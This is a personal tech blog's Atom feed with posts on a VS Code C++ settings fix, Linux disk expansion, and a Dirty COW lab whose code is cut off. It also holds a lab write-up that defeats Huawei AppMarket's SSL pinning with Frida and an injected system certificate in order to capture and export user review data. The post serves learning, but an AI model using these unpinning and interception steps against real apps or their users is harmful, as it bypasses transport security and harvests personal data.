<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>My Blog</title>
  
  <subtitle>Recording Technology and Life</subtitle>
  <link href="https://blog.qirenova.com/atom.xml" rel="self"/>
  
  <link href="https://blog.qirenova.com/"/>
  <updated>2026-04-15T10:45:36.206Z</updated>
  <id>https://blog.qirenova.com/</id>
  
  <author>
    <name>Lin Wenqi</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>解决 VS Code 远程开发 C++ 插件“玄学”问题：为什么非要一个 settings.json？</title>
    <link href="https://blog.qirenova.com/2026/04/%E8%A7%A3%E5%86%B3-VS-Code-%E8%BF%9C%E7%A8%8B%E5%BC%80%E5%8F%91-C-%E6%8F%92%E4%BB%B6%E5%A4%B1%E6%95%88%E9%97%AE%E9%A2%98/"/>
    <id>https://blog.qirenova.com/2026/04/%E8%A7%A3%E5%86%B3-VS-Code-%E8%BF%9C%E7%A8%8B%E5%BC%80%E5%8F%91-C-%E6%8F%92%E4%BB%B6%E5%A4%B1%E6%95%88%E9%97%AE%E9%A2%98/</id>
    <published>2026-04-15T10:00:00.000Z</published>
    <updated>2026-04-15T10:45:36.206Z</updated>
    
    <content type="html"><![CDATA[<p>在远程开发（Remote-SSH, WSL, Containers）环境下，许多开发者会发现<strong>C/C++ (ms-vscode.cpptools)</strong> 插件的IntelliSense（智能感知）功能无法正常工作。表现为代码补全消失、符号跳转失效或语法检查无响应。</p><span id="more"></span><p>经过排查，这一问题的根源在于 VS Code 远程架构对设置作用域（SettingsScopes）的处理机制，以及插件在“配置真空”状态下的降级策略。</p><h2 id="官方文档的故障排查依据">1. 官方文档的故障排查依据</h2><p>根据 VS Code 官方文档 <ahref="https://code.visualstudio.com/docs/remote/troubleshooting#_extension-tips">RemoteDevelopment Troubleshooting - Extension tips</a> 中的说明：</p><blockquote><p><strong>Local absolute path settings fail when appliedremotely</strong> “VS Code’s local user settings are reused when youconnect to a remote endpoint. While this keeps your user experienceconsistent, you may need to vary absolute path settings between yourlocal machine and each host / container / WSL since the target locationsare different.”</p><p><strong>Resolution:</strong> “You can set endpoint-specific settingsafter you connect to a remote endpoint by running the<strong>Preferences: Open Remote Settings</strong> command from theCommand Palette (F1) or by selecting the <strong>Remote</strong> tab inthe Settings editor. These settings will override any local settings youhave in place whenever you connect.”</p></blockquote><h2 id="问题深度解析">2. 问题深度解析</h2><h3 id="vs-code-设置作用域的隔离机制">VS Code 设置作用域的隔离机制</h3><p>在 VS Code 架构中，不同类型的配置存在明确的作用域划分，包括<strong>User Settings、Workspace Settings 与 RemoteSettings</strong>。</p><p>在远程开发（Remote-SSH / WSL / Containers）环境下，VS Code会根据当前连接的目标环境加载对应的配置上下文，从而避免本地配置（例如Windows 环境下的路径配置）错误影响远程 Linux 环境。</p><h3 id="插件的静默降级逻辑">插件的静默降级逻辑</h3><p>当远程连接建立后，远程端的插件宿主（Extension Host）会尝试读取配置：1. <strong>探测 Remote Settings：</strong> 如果未显式配置 C/C++相关参数，插件将依赖自动探测与默认初始化流程，在部分远程环境中可能导致Language Server 未成功启动。 2. <strong>自动探测失败：</strong>插件会尝试在远程系统的 <code>$PATH</code>中自动寻找编译器和头文件。但在许多非标准或权限受限的服务器环境下，这种探测往往会失败。3. <strong>降级行为：</strong> C/C++插件在探测失败后，为了保证编辑器不崩溃，会静默回退到<code>Tag Parser</code>模式。此时插件仅支持基础的符号搜索，失去高级的语法分析和补全功能。</p><p>需要注意的是，IntelliSense的正常工作依赖于插件初始化流程与编译器环境的共同满足，本案例中主要问题出现在未成功触发C/C++ extension 的 Language Server 初始化阶段</p><h2 id="为什么必须手动添加-settings.json">3. 为什么必须手动添加settings.json？</h2><p>在 VS Code 中，不同层级的配置具有明确的优先级：</p><p>Workspace Settings &gt; Remote Settings &gt; User Settings &gt;Default Settings</p><p>通过在 <code>.vscode/settings.json</code>中显式声明配置，可以确保远程环境下的 C/C++插件行为一致性，避免依赖自动探测带来的不确定性。</p><h2 id="解决方案">4. 解决方案</h2><p>在项目根目录创建 <code>.vscode/settings.json</code>：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;C_Cpp.intelliSenseEngine&quot;</span><span class="punctuation">:</span> <span class="string">&quot;default&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="关键步骤重启开发环境">关键步骤：重启开发环境</h3><p>在修改完配置文件后，VS Code 的远程插件宿主（ExtensionHost）往往不会自动检测到引擎模式的变更并重新初始化。为了打破当前的“静默降级”状态并应用新配置，<strong>必须手动重载窗口</strong>：</p><ol type="1"><li>按下组合键打开命令面板：<ul><li><strong>Windows/Linux</strong>: <code>Ctrl + Shift + P</code></li><li><strong>macOS</strong>: <code>Cmd + Shift + P</code></li></ul></li><li>在输入框内键入： <figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Developer: Reload Window</span><br></pre></td></tr></table></figure></li><li>回车确认。</li></ol><p>重载后，VS Code 会重新扫描最高优先级的 <strong>WorkspaceSettings</strong>，并强制远端服务器冷启动完整的 C/C++ Language Server进程。此时，你应该能看到状态栏出现 <code>IntelliSense: Ready</code>或者是正在索引的图标。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在远程开发（Remote-SSH, WSL, Containers）环境下，许多开发者会发现
&lt;strong&gt;C/C++ (ms-vscode.cpptools)&lt;/strong&gt; 插件的
IntelliSense（智能感知）功能无法正常工作。表现为代码补全消失、符号跳转失效或语法检查无响应。&lt;/p&gt;</summary>
    
    
    
    <category term="dev-tools" scheme="https://blog.qirenova.com/categories/dev-tools/"/>
    
    
    <category term="vscode" scheme="https://blog.qirenova.com/tags/vscode/"/>
    
    <category term="cpp" scheme="https://blog.qirenova.com/tags/cpp/"/>
    
    <category term="remote-development" scheme="https://blog.qirenova.com/tags/remote-development/"/>
    
    <category term="ssh" scheme="https://blog.qirenova.com/tags/ssh/"/>
    
  </entry>
  
  <entry>
    <title>Charles 抓包华为应用市场评论实验总结</title>
    <link href="https://blog.qirenova.com/2026/03/Charles-%E6%8A%93%E5%8C%85%E5%8D%8E%E4%B8%BA%E5%BA%94%E7%94%A8%E5%B8%82%E5%9C%BA%E8%AF%84%E8%AE%BA%E5%AE%9E%E9%AA%8C%E6%80%BB%E7%BB%93/"/>
    <id>https://blog.qirenova.com/2026/03/Charles-%E6%8A%93%E5%8C%85%E5%8D%8E%E4%B8%BA%E5%BA%94%E7%94%A8%E5%B8%82%E5%9C%BA%E8%AF%84%E8%AE%BA%E5%AE%9E%E9%AA%8C%E6%80%BB%E7%BB%93/</id>
    <published>2026-03-15T12:53:58.000Z</published>
    <updated>2026-04-15T10:10:33.468Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一实验目标">一、实验目标</h2><p>在 Windows 11 环境下，利用 MuMu 模拟器（Android 12）配置 Charles代理，通过手动安装系统级证书及 Frida 动态插桩技术绕过 SSLPinning，实现对华为应用市场（<code>com.huawei.appmarket</code>）加密流量的明文解析，并导出为标准的HAR 格式数据</p><hr /><span id="more"></span><h2 id="二环境准备">二、环境准备</h2><table><thead><tr class="header"><th>项目</th><th>说明</th></tr></thead><tbody><tr class="odd"><td>操作系统</td><td>Windows 11</td></tr><tr class="even"><td>抓包工具</td><td>Charles v4.6+</td></tr><tr class="odd"><td>模拟器</td><td>MuMu 模拟器（Android 12, x64 架构）</td></tr><tr class="even"><td>Frida 版本</td><td>17.8.2 (Local &amp; Server 必须严格一致)</td></tr><tr class="odd"><td>核心工具</td><td>OpenSSL, adb、Python 3.10+</td></tr><tr class="even"><td>目标应用</td><td>华为应用市场</td></tr></tbody></table><hr /><h2 id="三实验步骤与关键操作">三、实验步骤与关键操作</h2><h3 id="charles-基础配置">1. Charles 基础配置</h3><ul><li><strong>代理端口</strong>：<code>Proxy</code> →<code>Proxy Settings</code>，确保 HTTP Proxy 勾选，端口保持<code>8888</code>。</li><li><strong>访问控制</strong>：<code>Proxy</code> →<code>Access Control Settings</code>确保<code>Prompt to allow unauthorized connections</code>勾选</li></ul><h3 id="模拟器网络代理设置">2. 模拟器网络代理设置</h3><ul><li>获取电脑局域网 IP：<code>Help</code> →<code>Local IP Address</code>（例如 <code>192.168.1.100</code>）。</li><li>在模拟器中：<code>设置</code> → <code>网络和互联网</code> →<code>互联网</code> → 点击当前 Wi-Fi → 修改网络 → 高级选项 →代理设为手动。<ul><li>代理主机名：电脑 IP</li><li>代理端口：<code>8888</code></li></ul></li><li>保存后，Charles 弹出连接确认框，点击 <strong>Allow</strong>。</li><li>完成后能看到Charles左侧栏目中<code>Encrpyted</code>中能成功抓取模拟器内部的加密流量</li></ul><h3 id="ssl-证书安装与信任">3. SSL 证书安装与信任</h3><h4 id="电脑端证书安装">电脑端证书安装</h4><ul><li>Charles 菜单：<code>Help</code> → <code>SSL Proxying</code> →<code>Install Charles Root Certificate</code>。</li><li>导入向导中：<ul><li>第一步：选择 <strong>安装证书</strong>， 选择当前用户</li><li>第二步：选择 <strong>将所有的证书放入下列存储</strong> → 浏览 → 选择<strong>受信任的根证书颁发机构</strong> → 确定。</li><li>完成导入，出现安全警告时点击“是”。</li></ul></li><li>Charles 菜单：<code>Proxy</code> →<code>SSL Proxying Settings</code> 添加 <code>*:*</code></li><li><code>Proxy</code> → <code>Start SSL Proxy</code></li><li>如果证书导入成功，用电脑端浏览器访问https://www.baidu.com不会出现警告</li></ul><h4 id="模拟器端证书安装系统证书">模拟器端证书安装（系统证书）</h4><p>由于 Android 12 强制要求系统证书才能信任 HTTPS 流量，需将 Charles证书手动注入系统目录。</p><ul><li><p>从 Charles 导出证书：<code>Help</code> →<code>Save Charles Root Certificate...</code>，保存为<code>charles.pem</code>。</p></li><li><p>计算哈希：将导出的 <code>charles.pem</code> 通过 OpenSSL计算哈希值。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl x509 -subject_hash_old -<span class="keyword">in</span> charles.pem</span><br></pre></td></tr></table></figure><p>记下第一行输出，例如 <code>0adc448f</code>。</p></li><li><p>将 <code>charles.pem</code> 重命名为<code>0adc448f.0</code>。</p></li><li><p>MuMu 设置：重启模拟器，在<strong>设备设置</strong>开启“Root权限”，并将“磁盘共享”设置为“可写系统盘”。</p></li><li><p>通过 adb 推送到模拟器系统目录：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">adb -s 127.0.0.1:7555 root</span><br><span class="line">adb -s 127.0.0.1:7555 remount <span class="comment">#可能不需要</span></span><br><span class="line">adb -s 127.0.0.1:7555 push 0adc448f.0 /system/etc/security/cacerts/</span><br><span class="line">adb -s 127.0.0.1:7555 shell <span class="built_in">chmod</span> 644 /system/etc/security/cacerts/0adc448f.0</span><br></pre></td></tr></table></figure></li><li><p>重启模拟器使证书生效，如果前面步骤正确，尝试在模拟器中访问其他普通的app,能看到Charles 成功解密普通 App 的 HTTPS 流量。</p></li></ul><h3 id="绕过-ssl-pinning">4. 绕过 SSL Pinning</h3><p>华为应用市场采用了 SSL Pinning，直接抓包 HTTPS流量会被拒绝。使用frida 绕过。</p><h4 id="电脑端安装frida">电脑端安装frida</h4><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install frida frida<span class="literal">-tools</span></span><br></pre></td></tr></table></figure><p>将frida提示的路径加入环境变量PATH中</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">frida <span class="literal">--version</span></span><br></pre></td></tr></table></figure><p>显示版本号代表成功</p><h4 id="启动-frida-server">启动 frida-server</h4><ul><li><p>访问 <a href="https://github.com/frida/frida/releases">frida 官方Releases</a>，下载与本地 frida 版本匹配的<code>frida-server</code>，选择架构为 <code>x86_64</code>（对应 MuMu模拟器）</p></li><li><p>下载对应模拟器架构（<code>x86_64</code>）的frida-server，版本于客户端一致，推送到模拟器并运行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">adb -s 127.0.0.1:7555 push frida-server /data/local/tmp/</span><br><span class="line">adb -s 127.0.0.1:7555 shell</span><br><span class="line">su</span><br><span class="line"><span class="built_in">chmod</span> 755 /data/local/tmp/frida-server</span><br><span class="line">/data/local/tmp/frida-server &amp;</span><br></pre></td></tr></table></figure></li><li><p>保持该窗口运行。如果模拟器重启，需重新运行此脚本。</p></li></ul><h4 id="使用frida禁用-ssl-pinning">使用frida禁用 SSL Pinning</h4><ul><li><p>电脑端使用 frida 综合脚本：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">frida --codeshare akabe1/frida-multiple-unpinning -f com.huawei.appmarket -U</span><br></pre></td></tr></table></figure></li></ul><h3 id="抓取评论数据">5. 抓取评论数据</h3><ul><li><p>在模拟器中打开华为应用市场，进入目标应用详情页（如“抖音”），切换到“评论”标签。</p></li><li><p>手动向下滑动，加载多页评论。</p></li><li><p>在 Charles中观察请求，找到评论接口（域名：<code>forum-api-drcn.jos.dbankcloud.com</code>）。</p></li><li><p>接口返回 JSON 格式数据，结构如下：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;layoutData&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;layoutName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;commentitemcard&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;dataList&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;commentUser&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;nickName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;一*******&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;phone&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Mate 60 Pro&quot;</span><span class="punctuation">,</span> <span class="comment">// 用户机型</span></span><br><span class="line">            <span class="attr">&quot;operTimeStamp&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1773155264366&quot;</span> <span class="comment">// 评论时间戳</span></span><br><span class="line">          <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;commentDetail&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;commentInfo&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1、擅自改规则...不消费就当流量打工仔。&quot;</span><span class="punctuation">,</span> <span class="comment">// 评论正文</span></span><br><span class="line">            <span class="attr">&quot;rating&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1&quot;</span><span class="punctuation">,</span> <span class="comment">// 评分</span></span><br><span class="line">            <span class="attr">&quot;versionName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;37.9.0&quot;</span><span class="punctuation">,</span> <span class="comment">// App版本</span></span><br><span class="line">            <span class="attr">&quot;approveCounts&quot;</span><span class="punctuation">:</span> <span class="number">9</span> <span class="comment">// 点赞数</span></span><br><span class="line">          <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;pubAddress&quot;</span><span class="punctuation">:</span> <span class="string">&quot;贵州&quot;</span> <span class="comment">// IP 归属地</span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;commentUser&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;nickName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;吉*******&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;phone&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Mate30-5G版&quot;</span></span><br><span class="line">          <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;commentDetail&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;commentInfo&quot;</span><span class="punctuation">:</span> <span class="string">&quot;整体是挺好，就是现在升级到最新的38.0.0版本，有特别明显的卡顿...&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;rating&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2&quot;</span></span><br><span class="line">          <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;pubAddress&quot;</span><span class="punctuation">:</span> <span class="string">&quot;福建&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">]</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;maxId&quot;</span><span class="punctuation">:</span> <span class="string">&quot;6150884656745&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;hasNextPage&quot;</span><span class="punctuation">:</span> <span class="number">1</span> <span class="comment">// 1代表还有下一页，可继续抓取</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></li></ul><h3 id="导出-har-文件">6. 导出 HAR 文件</h3><ul><li>在 Charles 左侧 Structure 视图中，选中评论接口域名节点（或按住 Ctrl多选所有评论请求）。</li><li>菜单：<code>File</code> → <code>Export Session</code> → 选择<strong>HTTP Archive (.har)</strong> 格式 → 保存为<code>comments.har</code>。</li></ul><hr /><h2 id="四遇到的问题及解决方案">四、遇到的问题及解决方案</h2><table><colgroup><col style="width: 47%" /><col style="width: 52%" /></colgroup><thead><tr class="header"><th>问题</th><th>解决方案</th></tr></thead><tbody><tr class="odd"><td><code>adb</code> 连接多个设备，命令报错</td><td>使用 <code>-s 127.0.0.1:7555</code> 指定目标设备</td></tr><tr class="even"><td>向 <code>/system</code> 推送证书时提示<code>Read-only file system</code></td><td>关闭 MuMu 模拟器，设置中开启“磁盘共享”为“可写系统盘”，重新启动</td></tr><tr class="odd"><td>Charles 电脑端安装证书时找不到“受信任的根证书颁发机构”</td><td>将所有的证书放入下列存储后选择受信任的根证书颁发机构</td></tr><tr class="even"><td>华为应用市场加载评论时 Charles 中请求一直挂起或返回空</td><td>需要绕过 SSL Pinning，使用 frida 脚本</td></tr><tr class="odd"><td>应用市场评论接口返回数据被压缩/加密</td><td>确保 Charles 已开启 SSL 解密（<code>Proxy</code> →<code>SSL Proxying Settings</code> 添加 <code>*:*</code>）</td></tr><tr class="even"><td>评论接口只有 <code>{"rtnCode":0}</code> 等简单响应</td><td>抓到的可能是预检接口，需找到真正的评论数据接口</td></tr></tbody></table><hr /><h2 id="五实验成果">五、实验成果</h2><ol type="1"><li><strong>成功配置 Charles抓包环境</strong>，电脑端证书受信任，模拟器系统证书安装正确。</li><li><strong>绕过华为应用市场的 SSL Pinning</strong>，能够正常抓取 HTTPS流量。</li><li><strong>捕获到完整的评论数据接口</strong>，返回 JSON包含用户昵称、评分、评论内容、点赞数、回复等字段。</li><li><strong>导出 HAR 文件</strong><code>comments.har</code>，包含多页评论请求，可用于后续批量数据提取。</li></ol><hr /><h2 id="六附录关键命令速查">六、附录：关键命令速查</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看设备列表</span></span><br><span class="line">adb devices</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定设备执行命令</span></span><br><span class="line">adb -s 127.0.0.1:7555 shell</span><br><span class="line"></span><br><span class="line"><span class="comment"># 推送证书</span></span><br><span class="line">adb -s 127.0.0.1:7555 push 0adc448f.0 /system/etc/security/cacerts/</span><br><span class="line"></span><br><span class="line"><span class="comment"># 启动 frida-server</span></span><br><span class="line">adb -s 127.0.0.1:7555 shell</span><br><span class="line">su</span><br><span class="line">/data/local/tmp/frida-server &amp;</span><br><span class="line"></span><br><span class="line"><span class="comment"># frida 通用绕过脚本</span></span><br><span class="line">frida --codeshare akabe1/frida-multiple-unpinning -f com.huawei.appmarket -U</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;一实验目标&quot;&gt;一、实验目标&lt;/h2&gt;
&lt;p&gt;在 Windows 11 环境下，利用 MuMu 模拟器（Android 12）配置 Charles
代理，通过手动安装系统级证书及 Frida 动态插桩技术绕过 SSL
Pinning，实现对华为应用市场（&lt;code&gt;com.huawei.appmarket&lt;/code&gt;）加密流量的明文解析，并导出为标准的
HAR 格式数据&lt;/p&gt;
&lt;hr /&gt;</summary>
    
    
    
    <category term="Computer Science" scheme="https://blog.qirenova.com/categories/Computer-Science/"/>
    
    <category term="SecurityResearch" scheme="https://blog.qirenova.com/categories/Computer-Science/SecurityResearch/"/>
    
    
    <category term="PacketCapture" scheme="https://blog.qirenova.com/tags/PacketCapture/"/>
    
    <category term="AndroidSecurity" scheme="https://blog.qirenova.com/tags/AndroidSecurity/"/>
    
    <category term="Frida" scheme="https://blog.qirenova.com/tags/Frida/"/>
    
    <category term="CharlesProxy" scheme="https://blog.qirenova.com/tags/CharlesProxy/"/>
    
    <category term="SSLPinning" scheme="https://blog.qirenova.com/tags/SSLPinning/"/>
    
  </entry>
  
  <entry>
    <title>Linux Disk Expansion Guide</title>
    <link href="https://blog.qirenova.com/2026/01/Linux-Disk-Expansion/"/>
    <id>https://blog.qirenova.com/2026/01/Linux-Disk-Expansion/</id>
    <published>2026-01-08T13:51:25.000Z</published>
    <updated>2026-01-27T04:08:44.778Z</updated>
    
    <content type="html"><![CDATA[<p>Increasing the disk size in your VM settings (VMware/VirtualBox) isonly half the battle. The OS won’t automatically use that extra spaceuntil you manually update the partition table and the filesystem.</p><p>Here is a quick guide on how I expanded my <code>/dev/sda2</code>partition from 30GB to 40GB without losing any data.</p><h2 id="the-problem">The Problem</h2><p>After increasing the virtual disk to 40GB, running <code>lsblk</code>showed that the physical disk (<code>sda</code>) was 40GB, but theprimary partition (<code>sda2</code>) was still stuck at 30GB.<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Output snippet</span></span><br><span class="line">sda      8:0    0    40G  0 disk </span><br><span class="line">└─sda2   8:2    0    30G  0 part /</span><br></pre></td></tr></table></figure></p><span id="more"></span><h2 id="step-1-install-the-growth-tools">Step 1: Install the GrowthTools</h2><p>We need <code>growpart</code>, a handy utility that can safely extenda partition while the system is running. <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install cloud-guest-utils -y</span><br></pre></td></tr></table></figure></p><h2 id="step-2-extend-the-partition">Step 2: Extend the Partition</h2><p>We tell the system to expand the 2nd partition of the sda disk. Notethe space between the disk name and the partition number:<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> growpart /dev/sda 2</span><br></pre></td></tr></table></figure></p><h2 id="step-3-resize-the-filesystem">Step 3: Resize the Filesystem</h2><p>Now that the “room” (partition) is bigger, we need to stretch the“carpet” (filesystem) to cover the new floor space.</p><p>First, check your filesystem type: <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">df</span> -T /</span><br></pre></td></tr></table></figure></p><p>Depending on the output (ext4 or xfs), run the correspondingcommand:</p><h3 id="for-ext4-common-in-ubuntu">For ext4 (Common in Ubuntu)</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> resize2fs /dev/sda2</span><br></pre></td></tr></table></figure><h3 id="for-xfs">For xfs</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> xfs_growfs /</span><br></pre></td></tr></table></figure><h2 id="conclusion">Conclusion</h2><p>Check the final result with <code>df -h /</code>. You should see thefull capacity reflected in your root directory! <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Final check</span></span><br><span class="line">/dev/sda2        40G   21G   17G  55% /</span><br></pre></td></tr></table></figure></p><h2 id="key-takeaway">Key Takeaway</h2><p>Always remember the three-layer hierarchy: <strong>Physical Disk →Partition Table → Filesystem</strong>. You must expand them in thatspecific order.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Increasing the disk size in your VM settings (VMware/VirtualBox) is
only half the battle. The OS won’t automatically use that extra space
until you manually update the partition table and the filesystem.&lt;/p&gt;
&lt;p&gt;Here is a quick guide on how I expanded my &lt;code&gt;/dev/sda2&lt;/code&gt;
partition from 30GB to 40GB without losing any data.&lt;/p&gt;
&lt;h2 id=&quot;the-problem&quot;&gt;The Problem&lt;/h2&gt;
&lt;p&gt;After increasing the virtual disk to 40GB, running &lt;code&gt;lsblk&lt;/code&gt;
showed that the physical disk (&lt;code&gt;sda&lt;/code&gt;) was 40GB, but the
primary partition (&lt;code&gt;sda2&lt;/code&gt;) was still stuck at 30GB.
&lt;figure class=&quot;highlight bash&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;# Output snippet&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;sda      8:0    0    40G  0 disk &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;└─sda2   8:2    0    30G  0 part /&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Computer Science" scheme="https://blog.qirenova.com/categories/Computer-Science/"/>
    
    
    <category term="Linux" scheme="https://blog.qirenova.com/tags/Linux/"/>
    
  </entry>
  
  <entry>
    <title>Dirty COW Attack Lab</title>
    <link href="https://blog.qirenova.com/2025/11/Dirty-COW-Attack/"/>
    <id>https://blog.qirenova.com/2025/11/Dirty-COW-Attack/</id>
    <published>2025-11-26T12:00:00.000Z</published>
    <updated>2026-01-27T04:08:44.774Z</updated>
    
    <content type="html"><![CDATA[<h2 id="task-1-modify-a-dummy-read-only-file">Task 1: Modify a DummyRead-Only File</h2><h3 id="create-a-dummy-file">1. create a dummy file</h3><p><img src="/2025/11/Dirty-COW-Attack/t1_1.png" /></p><p>we can see that if we try to write to this file as a normal user, wewill fail, because the file is only readable to normal users.</p><span id="more"></span><h3 id="set-up-the-memory-mapping-thread">2. Set Up the Memory MappingThread</h3><p>The main thread <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span 